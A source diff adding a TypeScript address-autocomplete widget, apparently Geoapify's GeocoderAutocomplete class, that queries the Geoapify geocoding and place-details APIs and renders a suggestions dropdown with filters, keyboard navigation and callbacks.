+ private openCallbacks: ((opened: boolean) => void)[] = [];
+ private closeCallbacks: ((opened: boolean) => void)[] = [];
+
+ private preprocessHook?: (value: string) => string;
+ private postprocessHook?: (feature: any) => string;
+ private suggestionsFilter?: (suggetions: any[]) => any[];
+
+ private sendGeocoderRequestAlt?: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise;
+ private sendPlaceDetailsRequestAlt?: (feature: any, geocoderAutocomplete: GeocoderAutocomplete) => Promise;
+
+ private geocoderUrl = "https://api.geoapify.com/v1/geocode/autocomplete";
+ private placeDetailsUrl = "https://api.geoapify.com/v2/place-details";
+
+ private options: GeocoderAutocompleteOptions = {
+ limit: 5,
+ debounceDelay: 100
+ };
+
+ private BY_COUNTRYCODE = 'countrycode';
+ private BY_RECT = 'rect';
+ private BY_CIRCLE = 'circle';
+ private BY_PROXIMITY = 'proximity';
+ private BY_PLACE = 'place';
+
+ constructor(private container: HTMLElement, private apiKey: string, options?: GeocoderAutocompleteOptions) {
+ this.options = options ? { ...this.options, ...options } : this.options;
+ this.options.filter = this.options.filter || {};
+ this.options.bias = this.options.bias || {};
+
+ if (this.options.countryCodes) {
+ this.addFilterByCountry(this.options.countryCodes);
+ }
+
+ if (this.options.position) {
+ this.addBiasByProximity(this.options.position);
+ }
+
+ // create input element
+ this.inputElement = document.createElement("input");
+ this.inputElement.classList.add("geoapify-autocomplete-input");
+ this.inputElement.setAttribute("type", "text");
+ this.inputElement.setAttribute("placeholder", this.options.placeholder || "Enter an address here");
+ this.container.appendChild(this.inputElement);
+
+ // add clear button to input element
+ this.inputClearButton = document.createElement("div");
+ this.inputClearButton.classList.add("geoapify-close-button");
+ this.addIcon(this.inputClearButton, 'close');
+ this.inputClearButton.addEventListener("click", this.clearFieldAndNotify.bind(this), false);
+
+ this.container.appendChild(this.inputClearButton);
+
+ this.inputElement.addEventListener('input', this.onUserInput.bind(this), false);
+ this.inputElement.addEventListener('keydown', this.onUserKeyPress.bind(this), false);
+
+ document.addEventListener("click", (event) => {
+ if (event.target !== this.inputElement) {
+ this.closeDropDownList();
+ } else if (!this.autocompleteItemsElement) {
+ // open dropdown list again
+ this.openDropdownAgain();
+ }
+ });
+ }
+
+ public setType(type: 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity') {
+ this.options.type = type;
+ }
+
+ public setLang(lang: SupportedLanguage) {
+ this.options.lang = lang;
+ }
+
+ public setCountryCodes(codes: CountyCode[]) {
+ console.warn("WARNING! Obsolete function called. Function setCountryCodes() has been deprecated, please use the new addFilterByCountry() function instead!");
+ this.options.countryCodes = codes;
+ }
+
+ public setPosition(position: GeoPosition) {
+ console.warn("WARNING! Obsolete function called. Function setPosition() has been deprecated, please use the new addBiasByProximity() function instead!");
+ this.options.position = position;
+ }
+
+ public setLimit(limit: number) {
+ this.options.limit = limit;
+ }
+
+ public setValue(value: string) {
+ if (!value) {
+ this.inputClearButton.classList.remove("visible");
+ } else {
+ this.inputClearButton.classList.add("visible");
+ }
+
+ this.inputElement.value = value;
+ }
+
+ public getValue() {
+ return this.inputElement.value;
+ }
+
+ public addFilterByCountry(codes: ByCountryCodeOptions) {
+ this.options.filter[this.BY_COUNTRYCODE] = codes;
+ }
+
+ public addFilterByCircle(filterByCircle: ByCircleOptions) {
+ this.options.filter[this.BY_CIRCLE] = filterByCircle;
+ }
+
+ public addFilterByRect(filterByRect: ByRectOptions) {
+ this.options.filter[this.BY_RECT] = filterByRect;
+ }
+
+ public addFilterByPlace(filterByPlace: string) {
+ this.options.filter[this.BY_PLACE] = filterByPlace;
+ }
+
+ public clearFilters() {
+ this.options.filter = {};
+ }
+
+ public addBiasByCountry(codes: ByCountryCodeOptions) {
+ this.options.bias[this.BY_COUNTRYCODE] = codes;
+ }
+
+ public addBiasByCircle(biasByCircle: ByCircleOptions) {
+ this.options.bias[this.BY_CIRCLE] = biasByCircle;
+ }
+
+ public addBiasByRect(biasByRect: ByRectOptions) {
+ this.options.bias[this.BY_RECT] = biasByRect;
+ }
+
+ public addBiasByProximity(biasByProximity: ByProximityOptions) {
+ this.options.bias[this.BY_PROXIMITY] = biasByProximity;
+ }
+
+ public clearBias() {
+ this.options.bias = {};
+ }
+
+ public on(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => void) {
+ if (operation === 'select' && this.changeCallbacks.indexOf(callback) < 0) {
+ this.changeCallbacks.push(callback);
+ }
+
+ if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) < 0) {
+ this.suggestionsChangeCallbacks.push(callback);
+ }
+
+ if (operation === 'input' && this.inputCallbacks.indexOf(callback) < 0) {
+ this.inputCallbacks.push(callback);
+ }
+
+ if (operation === 'close' && this.closeCallbacks.indexOf(callback) < 0) {
+ this.closeCallbacks.push(callback);
+ }
+
+ if (operation === 'open' && this.openCallbacks.indexOf(callback) < 0) {
+ this.openCallbacks.push(callback);
+ }
+ }
+
+ public off(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback?: (param: any) => any) {
+ if (operation === 'select' && this.changeCallbacks.indexOf(callback) >= 0) {
+ this.changeCallbacks.splice(this.changeCallbacks.indexOf(callback), 1);
+ } else if (operation === 'select' && !callback) {
+ this.changeCallbacks = [];
+ }
+
+ if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) >= 0) {
+ this.suggestionsChangeCallbacks.splice(this.suggestionsChangeCallbacks.indexOf(callback), 1);
+ } else if (operation === 'suggestions' && !callback) {
+ this.suggestionsChangeCallbacks = [];
+ }
+
+ if (operation === 'input' && this.inputCallbacks.indexOf(callback) >= 0) {
+ this.inputCallbacks.splice(this.inputCallbacks.indexOf(callback), 1);
+ } else if (operation === 'input' && !callback) {
+ this.inputCallbacks = [];
+ }
+
+ if (operation === 'close' && this.closeCallbacks.indexOf(callback) >= 0) {
+ this.closeCallbacks.splice(this.closeCallbacks.indexOf(callback), 1);
+ } else if (operation === 'close' && !callback) {
+ this.closeCallbacks = [];
+ }
+
+ if (operation === 'open' && this.openCallbacks.indexOf(callback) >= 0) {
+ this.openCallbacks.splice(this.openCallbacks.indexOf(callback), 1);
+ } else if (operation === 'open' && !callback) {
+ this.openCallbacks = [];
+ }
+ }
+
+ public once(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) {
+ this.on(operation, callback);
+
+ const current = this;
+ const currentListener = () => {
+ current.off(operation, callback);
+ current.off(operation, currentListener);
+ }
+
+ this.on(operation, currentListener);
+ }
+
+ public setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: any[]) => any[]) {
+ if (suggestionsFilterFunc && typeof suggestionsFilterFunc === 'function') {
+ this.suggestionsFilter = suggestionsFilterFunc;
+ } else {
+ this.suggestionsFilter = null;
+ }
+ }
+
+ public setPreprocessHook(preprocessHookFunc?: (value: string) => string) {
+ if (preprocessHookFunc && typeof preprocessHookFunc === 'function') {
+ this.preprocessHook = preprocessHookFunc;
+ } else {
+ this.preprocessHook = null;
+ }
+ }
+
+ public setPostprocessHook(postprocessHookFunc?: (value: string) => string) {
+ if (postprocessHookFunc && typeof postprocessHookFunc === 'function') {
+ this.postprocessHook = postprocessHookFunc;
+ } else {
+ this.postprocessHook = null;
+ }
+ }
+
+ public setSendGeocoderRequestFunc(sendGeocoderRequestFunc: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise) {
+ if (sendGeocoderRequestFunc && typeof sendGeocoderRequestFunc === 'function') {
+ this.sendGeocoderRequestAlt = sendGeocoderRequestFunc;
+ } else {
+ this.sendGeocoderRequestAlt = null;
+ }
+ }
+
+ public setSendPlaceDetailsRequestFunc(sendPlaceDetailsRequestFunc: (feature: any, geocoderAutocomplete: GeocoderAutocomplete) => Promise) {
+ if (sendPlaceDetailsRequestFunc && typeof sendPlaceDetailsRequestFunc === 'function') {
+ this.sendPlaceDetailsRequestAlt = sendPlaceDetailsRequestFunc;
+ } else {
+ this.sendPlaceDetailsRequestAlt = null;
+ }
+ }
+
+ public isOpen(): boolean {
+ return !!this.autocompleteItemsElement;
+ }
+
+ public close() {
+ this.closeDropDownList();
+ }
+
+ public open() {
+ if (!this.isOpen()) {
+ this.openDropdownAgain();
+ }
+ }
+
+ public sendGeocoderRequest(value: string): Promise {
+ return new Promise((resolve, reject) => {
+ this.currentPromiseReject = reject;
+
+ let url = this.generateUrl(value);
+
+ fetch(url)
+ .then((response) => {
+ if (response.ok) {
+ response.json().then(data => resolve(data));
+ } else {
+ response.json().then(data => reject(data));
+ }
+ });
+ });
+ }
+
+ public sendPlaceDetailsRequest(feature: any): Promise {
+ return new Promise((resolve, reject) => {
+
+ if (feature.properties.datasource?.sourcename !== 'openstreetmap' || !feature.properties.place_id) {
+ // only OSM data has detailed information; return the original object if the source is different from OSM
+ resolve(feature);
+ return;
+ }
+
+ this.currentPlaceDetailsPromiseReject = reject;
+ let url = this.generatePlacesUrlUrl(feature.properties.place_id);
+
+ fetch(url)
+ .then((response) => {
+ if (response.ok) {
+ response.json().then(data => {
+ if (!data.features.length) {
+ resolve(feature);
+ }
+
+ resolve(data.features[0]);
+ });
+ } else {
+ response.json().then(data => reject(data));
+ }
+ });
+ });
+ }
+
+ /* Execute a function when someone writes in the text field: */
+ onUserInput(event: Event) {
+ let currentValue = this.inputElement.value;
+ let userEnteredValue = this.inputElement.value;
+
+ this.inputCallbacks.forEach(callback => callback(currentValue));
+
+ /* Close any already open dropdown list */
+ this.closeDropDownList();
+
+ this.focusedItemIndex = -1;
+
+ // Cancel previous request
+ if (this.currentPromiseReject) {
+ this.currentPromiseReject({
+ canceled: true
+ });
+ this.currentPromiseReject = null;
+ }
+
+ // Cancel previous timeout
+ if (this.currentTimeout) {
+ window.clearTimeout(this.currentTimeout);
+ this.currentTimeout = null;
+ }
+
+ if (!currentValue) {
+ this.inputClearButton.classList.remove("visible");
+ return false;
+ }
+
+ // Show clearButton when there is a text
+ this.inputClearButton.classList.add("visible");
+
+
+ this.currentTimeout = window.setTimeout(() => {
+ /* Create a new promise and send geocoding request */
+ if (this.preprocessHook && typeof this.preprocessHook === 'function') {
+ currentValue = this.preprocessHook(currentValue);
+ }
+
+ let promise;
+
+ if (this.sendGeocoderRequestAlt) {
+ promise = this.sendGeocoderRequestAlt(currentValue, this);
+ } else {
+ promise = this.sendGeocoderRequest(currentValue);
+ }
+
+ promise.then((data: any) => {
+
+ if (data.features && data.features.length &&
+ data?.query?.parsed &&
+ (this.options.allowNonVerifiedHouseNumber || this.options.allowNonVerifiedStreet)) {
+
+ this.extendByNonVerifiedValues(data.features, data?.query?.parsed);
+ }
+
+ this.currentItems = data.features;
+
+ if (this.currentItems && this.currentItems.length && this.suggestionsFilter && typeof this.suggestionsFilter === 'function') {
+ this.currentItems = this.suggestionsFilter(this.currentItems);
+ }
+
+ this.notifySuggestions(this.currentItems);
+
+ if (!this.currentItems.length) {
+ return;
+ }
+
+ /*create a DIV element that will contain the items (values):*/
+ this.autocompleteItemsElement = document.createElement("div");
+ this.autocompleteItemsElement.setAttribute("class", "geoapify-autocomplete-items");
+
+ this.notifyOpened();
+
+ /* Append the DIV element as a child of the autocomplete container:*/
+ this.container.appendChild(this.autocompleteItemsElement);
+ /* For each item in the results */
+ this.currentItems.forEach((feature: any, index: number) => {
+ /* Create a DIV element for each element: */
+ const itemElement = document.createElement("div");
+ itemElement.classList.add('geoapify-autocomplete-item');
+
+
+ if (!this.options.skipIcons) {
+ const iconElement = document.createElement("span");
+ iconElement.classList.add('icon');
+
+ this.addFeatureIcon(iconElement, feature.properties.result_type, feature.properties.country_code);
+
+ itemElement.appendChild(iconElement);
+ }
+
+ const textElement = document.createElement("span");
+ textElement.classList.add('address');
+
+ if (this.postprocessHook && typeof this.postprocessHook === 'function') {
+ const value = this.postprocessHook(feature);
+ textElement.innerHTML = this.getStyledAddressSingleValue(value, userEnteredValue);
+ } else {
+ textElement.innerHTML = this.getStyledAddress(feature.properties, userEnteredValue);
+ }
+
+ itemElement.appendChild(textElement);
+
+ itemElement.addEventListener("click", (e) => {
+ event.stopPropagation();
+ this.setValueAndNotify(this.currentItems[index])
+ });
+ this.autocompleteItemsElement.appendChild(itemElement);
+ });
+ }, (err) => {
+ if (!err.canceled) {
+ console.log(err);
+ }
+ });
+ }, this.options.debounceDelay);
+ }
+
+ private addHouseNumberToFormatted(featureProperties: any, street: string, housenumber: string) {
+ const houseNumberAndStreetFormatsPerCountry: { [key: string]: string[] } = {
+ "{{{road}}} {{{house_number}}}": ["af", "ai", "al", "ao", "ar", "at", "aw", "ax", "ba", "be", "bg", "bi", "bo", "bq", "br", "bs", "bt", "bv", "bw", "cf", "ch", "cl", "cm", "co", "cr", "cu", "cv", "cw", "cy", "cz", "de", "dk", "do", "ec", "ee", "eh", "er", "et", "fi", "fo", "gd", "ge", "gl", "gq", "gr", "gt", "gw", "hn", "hr", "ht", "hu", "id", "il", "ir", "is", "jo", "ki", "km", "kp", "kw", "lc", "li", "lr", "lt", "lv", "ly", "me", "mk", "ml", "mn", "mo", "mx", "ni", "nl", "no", "np", "pa", "pe", "pl", "ps", "pt", "pw", "py", "qa", "ro", "rs", "ru", "sb", "sd", "se", "si", "sj", "sk", "so", "sr", "ss", "st", "sv", "sx", "sz", "td", "tj", "tl", "tr", "um", "uz", "uy", "vc", "ve", "vu", "ws"],
+ "{{{house_number}}} {{{road}}}": ["ad", "ae", "ag", "am", "as", "au", "az", "bb", "bd", "bf", "bh", "bl", "bm", "bz", "ca", "cc", "ci", "ck", "cn", "cx", "dj", "dm", "dz", "eg", "fj", "fk", "fm", "fr", "ga", "gb", "gf", "gg", "gh", "gi", "gm", "gn", "gp", "gs", "gu", "gy", "hk", "hm", "ie", "im", "io", "iq", "je", "jm", "jp", "ke", "kh", "kn", "kr", "ky", "lb", "lk", "ls", "lu", "ma", "mc", "mf", "mh", "mg", "mm", "mp", "ms", "mt", "mq", "mv", "mw", "my", "na", "nc", "ne", "nf", "ng", "nr", "nu", "nz", "om", "pf", "pg", "ph", "pk", "pm", "pr", "re", "rw", "sa", "sc", "sg", "sh", "sl", "sn", "tc", "tf", "th", "tk", "tn", "to", "tt", "tv", "tw", "tz", "ug", "us", "vg", "vi", "wf", "yt", "za", "zm", "zw"],
+ "{{{road}}}, {{{house_number}}}": ["by", "es", "it", "kg", "kz", "md", "mz", "sm", "sy", "ua", "va"],
+ "{{{house_number}}}, {{{road}}}": ["bj", "bn", "cd", "cg", "in", "la", "mr", "mu", "tg", "tm", "vn", "ye"]
+ }
+
+ const format = Object.keys(houseNumberAndStreetFormatsPerCountry).find(key => houseNumberAndStreetFormatsPerCountry[key].indexOf(featureProperties.country_code) >= 0) || "{{{road}}} {{{house_number}}}";
+
+ if (street) {
+ // add street and housenumber
+ featureProperties.street = street.replace(/(^\w|\s\w|[-]\w)/g, m => m.toUpperCase());
+
+ featureProperties.housenumber = housenumber;
+ const addressPart = format.replace("{{{road}}}", featureProperties.street).replace("{{{house_number}}}", housenumber);
+ featureProperties.address_line1 = addressPart;
+ featureProperties.address_line2 = featureProperties.formatted;
+
+ featureProperties.formatted = addressPart + ", " + featureProperties.formatted;
+ } else {
+ // add house number only
+ featureProperties.housenumber = housenumber;
+ const addressPart = format.replace("{{{road}}}", featureProperties.street).replace("{{{house_number}}}", housenumber);
+
+ featureProperties.address_line1 = featureProperties.address_line1.replace(featureProperties.street, addressPart);;
+ featureProperties.formatted = featureProperties.formatted.replace(featureProperties.street, addressPart);
+ }
+ }
+
+ private extendByNonVerifiedValues(features: any, parsedAddress: any) {
+ features.forEach((feature: any) => {
+ if (parsedAddress.housenumber &&
+ this.options.allowNonVerifiedHouseNumber && feature.properties.rank.match_type === "match_by_street") {
+ // add housenumber
+ this.addHouseNumberToFormatted(feature.properties, null, parsedAddress.housenumber)
+ feature.properties.nonVerifiedParts = ["housenumber"];
+ } else if (parsedAddress.street && parsedAddress.housenumber &&
+ this.options.allowNonVerifiedStreet &&
+ (feature.properties.rank.match_type === "match_by_city_or_disrict" || feature.properties.rank.match_type === "match_by_postcode")) {
+ // add housenumber and street
+ this.addHouseNumberToFormatted(feature.properties, parsedAddress.street, parsedAddress.housenumber)
+ feature.properties.nonVerifiedParts = ["housenumber", "street"];
+ } else if (parsedAddress.street &&
+ this.options.allowNonVerifiedStreet &&
+ (feature.properties.rank.match_type === "match_by_city_or_disrict" || feature.properties.rank.match_type === "match_by_postcode")) {
+ // add street
+ feature.properties.street = parsedAddress.street.replace(/(^\w|\s\w|[-]\w)/g, (m: string) => m.toUpperCase());
+
+ feature.properties.address_line1 = feature.properties.street;
+ feature.properties.address_line2 = feature.properties.formatted;
+
+ feature.properties.formatted = feature.properties.street + ", " + feature.properties.formatted;
+ feature.properties.nonVerifiedParts = ["street"];
+ }
+ });
+ }
+
+ private getStyledAddressSingleValue(value: string, currentValue: string): string {
+ let displayValue = value;
+
+ const valueIndex = (displayValue || '').toLowerCase().indexOf(currentValue.toLowerCase());
+ if (valueIndex >= 0) {
+ displayValue = displayValue.substring(0, valueIndex) +
+ `${displayValue.substring(valueIndex, valueIndex + currentValue.length)} ` +
+ displayValue.substring(valueIndex + currentValue.length);
+ }
+
+ return `${displayValue} `
+ }
+
+ private getStyledAddress(featureProperties: any, currentValue: string): string {
+ let mainPart: string;
+ let secondaryPart: string;
+ const parts = featureProperties.formatted.split(',').map((part: string) => part.trim());
+
+ if (featureProperties.name) {
+ mainPart = parts[0];
+ secondaryPart = parts.slice(1).join(', ');
+ } else {
+ const mainElements = Math.min(2, Math.max(parts.length - 2, 1));
+ mainPart = parts.slice(0, mainElements).join(', ');
+ secondaryPart = parts.slice(mainElements).join(', ');
+ }
+
+ if (featureProperties.nonVerifiedParts && featureProperties.nonVerifiedParts.length) {
+ featureProperties.nonVerifiedParts.forEach((part: string) => {
+ mainPart = mainPart.replace(featureProperties[part], `${featureProperties[part]} `);
+ });
+ } else {
+ const valueIndex = mainPart.toLowerCase().indexOf(currentValue.toLowerCase());
+ if (valueIndex >= 0) {
+ mainPart = mainPart.substring(0, valueIndex) +
+ `${mainPart.substring(valueIndex, valueIndex + currentValue.length)} ` +
+ mainPart.substring(valueIndex + currentValue.length);
+
+ }
+ }
+
+ return `${mainPart} ${secondaryPart} `
+ }
+
+ private onUserKeyPress(event: KeyboardEvent) {
+ if (this.autocompleteItemsElement) {
+
+ const itemElements: HTMLCollectionOf = this.autocompleteItemsElement.getElementsByTagName("div");
+ if (event.code === 'ArrowDown') {
+ event.preventDefault();
+
+ /*If the arrow DOWN key is pressed, increase the focusedItemIndex variable:*/
+ this.focusedItemIndex++;
+ if (this.focusedItemIndex >= itemElements.length) this.focusedItemIndex = 0;
+ /*and and make the current item more visible:*/
+ this.setActive(itemElements, this.focusedItemIndex);
+ } else if (event.code === 'ArrowUp') {
+ event.preventDefault();
+
+ /*If the arrow UP key is pressed, decrease the focusedItemIndex variable:*/
+ this.focusedItemIndex--;
+ if (this.focusedItemIndex < 0) this.focusedItemIndex = (itemElements.length - 1);
+ /*and and make the current item more visible:*/
+ this.setActive(itemElements, this.focusedItemIndex);
+ } else if (event.code === "Enter") {
+ /* If the ENTER key is pressed and value as selected, close the list*/
+ event.preventDefault();
+ if (this.focusedItemIndex > -1) {
+ if (this.options.skipSelectionOnArrowKey) {
+ // select the location if it wasn't selected by navigation
+ this.setValueAndNotify(this.currentItems[this.focusedItemIndex]);
+ } else {
+ this.closeDropDownList();
+ }
+ }
+ } else if (event.code === "Escape") {
+ /* If the ESC key is presses, close the list */
+ this.closeDropDownList();
+ }
+ } else {
+ if (event.code == 'ArrowDown') {
+ /* Open dropdown list again */
+ this.openDropdownAgain();
+ }
+ }
+ }
+
+ private setActive(items: HTMLCollectionOf, index: number) {
+ if (!items || !items.length) return false;
+
+ for (var i = 0; i < items.length; i++) {
+ items[i].classList.remove("active");
+ }
+
+ /* Add class "autocomplete-active" to the active element*/
+ items[index].classList.add("active");
+
+ if (!this.options.skipSelectionOnArrowKey) {
+ // Change input value and notify
+ if (this.postprocessHook && typeof this.postprocessHook === 'function') {
+ this.inputElement.value = this.postprocessHook(this.currentItems[index]);
+ } else {
+ this.inputElement.value = this.currentItems[index].properties.formatted;
+ }
+ this.notifyValueSelected(this.currentItems[index]);
+ }
+ }
+
+
+ private setValueAndNotify(feature: any) {
+ if (this.postprocessHook && typeof this.postprocessHook === 'function') {
+ this.inputElement.value = this.postprocessHook(feature);
+ } else {
+ this.inputElement.value = feature.properties.formatted;
+ }
+
+
+ this.notifyValueSelected(feature);
+
+ /* Close the list of autocompleted values: */
+ this.closeDropDownList();
+ }
+
+ private clearFieldAndNotify(event: MouseEvent) {
+ event.stopPropagation();
+ this.inputElement.value = '';
+ this.inputClearButton.classList.remove("visible");
+
+ // Cancel previous request
+ if (this.currentPromiseReject) {
+ this.currentPromiseReject({
+ canceled: true
+ });
+ this.currentPromiseReject = null;
+ }
+
+ // Cancel previous timeout
+ if (this.currentTimeout) {
+ window.clearTimeout(this.currentTimeout);
+ this.currentTimeout = null;
+ }
+
+ this.closeDropDownList();
+
+ // notify here
+ this.notifyValueSelected(null);
+ }
+
+ private closeDropDownList() {
+ if (this.autocompleteItemsElement) {
+ this.container.removeChild(this.autocompleteItemsElement);
+ this.autocompleteItemsElement = null;
+ this.notifyClosed();
+ }
+ }
+
+ private addIcon(element: HTMLElement, icon: string) {
+
+ //FortAwesome icons 5. Licence - https://fontawesome.com/license/free
+
+ const icons: { [key: string]: any } = {
+ "close": {
+ path: "M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z",
+ viewbox: "0 0 24 24"
+ },
+ "map-marker": {
+ path: "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z",
+ viewbox: "0 0 384 512"
+ },
+ "road": {
+ path: "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z",
+ viewbox: "0 0 576 512"
+ },
+ "city": {
+ path: "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z",
+ viewbox: "0 0 640 512"
+ }
+ }
+
+ var svgElement = document.createElementNS("http://www.w3.org/2000/svg", 'svg');
+ svgElement.setAttribute('viewBox', icons[icon].viewbox);
+ svgElement.setAttribute('height', "24");
+
+ var iconElement = document.createElementNS("http://www.w3.org/2000/svg", 'path');
+ iconElement.setAttribute("d", icons[icon].path);
+ iconElement.setAttribute('fill', 'currentColor');
+ svgElement.appendChild(iconElement);
+ element.appendChild(svgElement);
+ }
+
+ private addFeatureIcon(element: HTMLElement, type: string, countryCode: string) {
+ const iconMap: any = {
+ 'unknown': 'map-marker',
+ 'amenity': 'map-marker',
+ 'building': 'map-marker',
+ 'street': 'road',
+ 'suburb': 'city',
+ 'district': 'city',
+ 'postcode': 'city',
+ 'city': 'city',
+ 'county': 'city',
+ 'state': 'city'
+ };
+
+ const countryData = countiesData.find(county => countryCode && county.code.toLowerCase() === countryCode.toLowerCase());
+
+ if ((type === 'country') && countryData) {
+ element.classList.add("emoji");;
+ const emojiElement = document.createElement('span');
+ emojiElement.innerText = countryData.emoji;
+ element.appendChild(emojiElement);
+ } else if (iconMap[type]) {
+ this.addIcon(element, iconMap[type])
+ } else {
+ this.addIcon(element, 'map-marker');
+ }
+ }
+
+ private notifyValueSelected(feature: any) {
+
+ // Cancel previous place details request
+ if (this.currentPlaceDetailsPromiseReject) {
+ this.currentPlaceDetailsPromiseReject({
+ canceled: true
+ });
+ this.currentPlaceDetailsPromiseReject = null;
+ }
+
+ if (!this.options.addDetails || !feature || feature.properties.nonVerifiedParts?.length) {
+ this.changeCallbacks.forEach(callback => callback(feature));
+ } else {
+
+ let promise;
+
+ if (this.sendPlaceDetailsRequestAlt) {
+ promise = this.sendPlaceDetailsRequestAlt(feature, this)
+ } else {
+ promise = this.sendPlaceDetailsRequest(feature);
+ }
+
+ promise.then((detailesFeature: any) => {
+ this.changeCallbacks.forEach(callback => callback(detailesFeature));
+ this.currentPlaceDetailsPromiseReject = null;
+ }, (err) => {
+ if (!err.canceled) {
+ console.log(err);
+ this.changeCallbacks.forEach(callback => callback(feature));
+ this.currentPlaceDetailsPromiseReject = null;
+ }
+ });
+ }
+ }
+
+ private notifySuggestions(features: any) {
+ this.suggestionsChangeCallbacks.forEach(callback => callback(features));
+ }
+
+ private notifyOpened() {
+ this.openCallbacks.forEach(callback => callback(true));
+ }
+
+ private notifyClosed() {
+ this.closeCallbacks.forEach(callback => callback(false));
+ }
+
+ private openDropdownAgain() {
+ const event = document.createEvent('Event');
+ event.initEvent('input', true, true);
+ this.inputElement.dispatchEvent(event);
+ }
+
+ private generatePlacesUrlUrl(placeId: string): string {
+ let url = `${this.placeDetailsUrl}?id=${placeId}&apiKey=${this.apiKey}`;
+ if (this.options.lang) {
+ url += `&lang=${this.options.lang}`;
+ }
+ return url;
+ }
+
+ private generateUrl(value: string): string {
+ let url = `${this.geocoderUrl}?text=${encodeURIComponent(value)}&apiKey=${this.apiKey}`;
+ // Add type of the location if set. Learn more about possible parameters on https://apidocs.geoapify.com/docs/geocoding/api/api
+ if (this.options.type) {
+ url += `&type=${this.options.type}`;
+ }
+
+ if (this.options.limit) {
+ url += `&limit=${this.options.limit}`;
+ }
+
+ if (this.options.lang) {
+ url += `&lang=${this.options.lang}`;
+ }
+
+ const filters = [];
+ const filterByCountryCodes: ByCountryCodeOptions = this.options.filter[this.BY_COUNTRYCODE] as ByCountryCodeOptions;
+ const filterByCircle: ByCircleOptions = this.options.filter[this.BY_CIRCLE] as ByCircleOptions;
+ const filterByRect: ByRectOptions = this.options.filter[this.BY_RECT] as ByRectOptions;
+ const filterByPlace: string = this.options.filter[this.BY_PLACE] as string;
+
+ if (filterByCountryCodes && filterByCountryCodes.length) {
+ filters.push(`countrycode:${filterByCountryCodes.join(',').toLowerCase()}`);
+ }
+
+ if (filterByCircle && this.isLatitude(filterByCircle.lat) && this.isLongitude(filterByCircle.lon) && filterByCircle.radiusMeters > 0) {
+ filters.push(`circle:${filterByCircle.lon},${filterByCircle.lat},${filterByCircle.radiusMeters}`);
+ }
+
+ if (filterByRect && this.isLatitude(filterByRect.lat1) && this.isLongitude(filterByRect.lon1) && this.isLatitude(filterByRect.lat2) && this.isLongitude(filterByRect.lon2)) {
+ filters.push(`rect:${filterByRect.lon1},${filterByRect.lat1},${filterByRect.lon2},${filterByRect.lat2}`);
+ }
+
+ if (filterByPlace) {
+ filters.push(`place:${filterByPlace}`);
+ }
+
+
